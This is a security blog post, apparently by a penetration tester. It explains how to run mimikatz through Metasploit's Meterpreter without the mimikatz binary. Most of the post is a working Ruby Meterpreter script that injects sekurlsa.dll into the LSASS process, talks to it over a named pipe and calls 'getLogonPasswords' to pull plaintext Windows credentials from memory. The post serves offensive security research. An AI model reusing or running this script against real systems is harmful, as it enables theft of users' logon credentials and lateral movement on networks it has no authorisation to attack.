Room362.com

Blatherings of a security addict.

Integration of Mimikatz Into Metasploit Stage1

| Comments

One of the powers of Metasploit is it’s ability to stay memory resident. Through the use of reflective DLL injection even keeping new functionality the attack loads from ever touching disk. Well, the first thing I wanted to do with Mimikatz is get to that same level.

Here is my first step to that end; a railgun based Meterpreter script. Now before going all reflective with it I needed to understand how the DLL worked. Thankfully @gentilkiwi stepped in and stopped my head from getting bloody. In this first step we will be removing the need for the mimikatz.exe binary, still needing the DLL to be uploaded, but we’ll get there in the subsequent posts.

Ignore the do_cmd for now and I stepped through remote DLL injection here. So the first odd lines is 

1
2

handle = client.railgun.kernel32.CreateNamedPipeW('\\\\.\\pipe\\kiwi\\mimikatz', 'PIPE_ACCESS_DUPLEX', 'PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT', 1, 0, 0, 30000,nil)['return']
connectedlsass = client.railgun.kernel32.ConnectNamedPipe(handle,nil)

Essentially these connect to the Named Pipe that the sekurlsa.dll uses to talk to the mimikatz.exe in it’s normal operation. Then we just use the windows API call “ReadFile” from there on out.

1

client.railgun.kernel32.ReadFile(handle,248,248,4,nil)

One of the draw backs to doing this all remotely is that Railgun doesn’t have the memory management insight like the Windows OS does. Being able to know when pipes are ready to be read or written to is  a bit of a challenge and the call hangs your IRB / meterpreter session if you get it wrong. I’ve overcome this for the initial “banner” that sekurlsa writes by knowing the exact length (248 bytes in this case) of the text. For subsequent commands like “ping” and “getLogonPasswords” I simply have to read one character at a time, which is a slow process but removes any chance of getting hung. (Two bytes for every Unicode character)

If you have any questions on how/why this works or have a better way please leave your comments and questions below or hit me up on twitter!

Meterpreter Script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59

def do_cmd(handle,cmd)
  ucommand = Rex::Text.to_unicode(cmd)
  sendcmd = client.railgun.kernel32.WriteFile(handle,ucommand,ucommand.size,4,nil)
  good2go = false
  newline = false
  readstring = []
  while good2go == false
      # Have to pull data 1 unicode character at a time
      # this is because the pipe won't write or read if
      # too much was written or read by the "client" (us)
      pull = client.railgun.kernel32.ReadFile(handle,2,2,4,nil)
      # Check to see if our end of read check is there: n000 @00
      if pull['lpBuffer'] == "@00" and newline == true
          good2go = true
      else
          readstring << pull['lpBuffer']
      end
      
      # Ready the newline var for previous check on next loop
      if pull['lpBuffer'] == "n00"
          newline = true
      else
          newline = false
      end
  end
  
  print_status(readstring.join(""))
end

print_status("x86 Detected - Using x86 mimikatz")
handle = client.railgun.kernel32.CreateNamedPipeW('\\\\.\\pipe\\kiwi\\mimikatz', 'PIPE_ACCESS_DUPLEX', 'PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT', 1, 0, 0, 30000,nil)['return']
print_status("Handle: #{handle}")
framework.threads.spawn('injectlsass',false) {
  pid = client.sys.process['lsass.exe']
  print_status("LSASS located at PID: #{pid}")
  pathtomimi = "C:\\sekurlsa.dll"

  pay = client.framework.payloads.create("windows/loadlibrary")
  pay.datastore["DLL"] = pathtomimi
  pay.datastore["EXITFUNC"] = 'thread'

  raw = pay.generate
  targetprocess = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
  mem = targetprocess.memory.allocate(raw.length + (30024))
  targetprocess.memory.write(mem, raw)
  sleep(2)
  targetprocess.thread.create(mem, 0)
  print_status("Successfully Injected into LSASS")
}
print_status("Waiting for LSASS injection to complete")
connectedlsass = client.railgun.kernel32.ConnectNamedPipe(handle,nil)
print_status("Mimikatz has called home, ready for command")
sleep(2)
print_status("Reading banner")
client.railgun.kernel32.ReadFile(handle,248,248,4,nil)
print_status("Doing a quick ping to make sure things are working...")
do_cmd(handle,'ping')
print_status("If you made it this far it worked, doing getLogonPasswords")
do_cmd(handle, 'getLogonPasswords')

Comments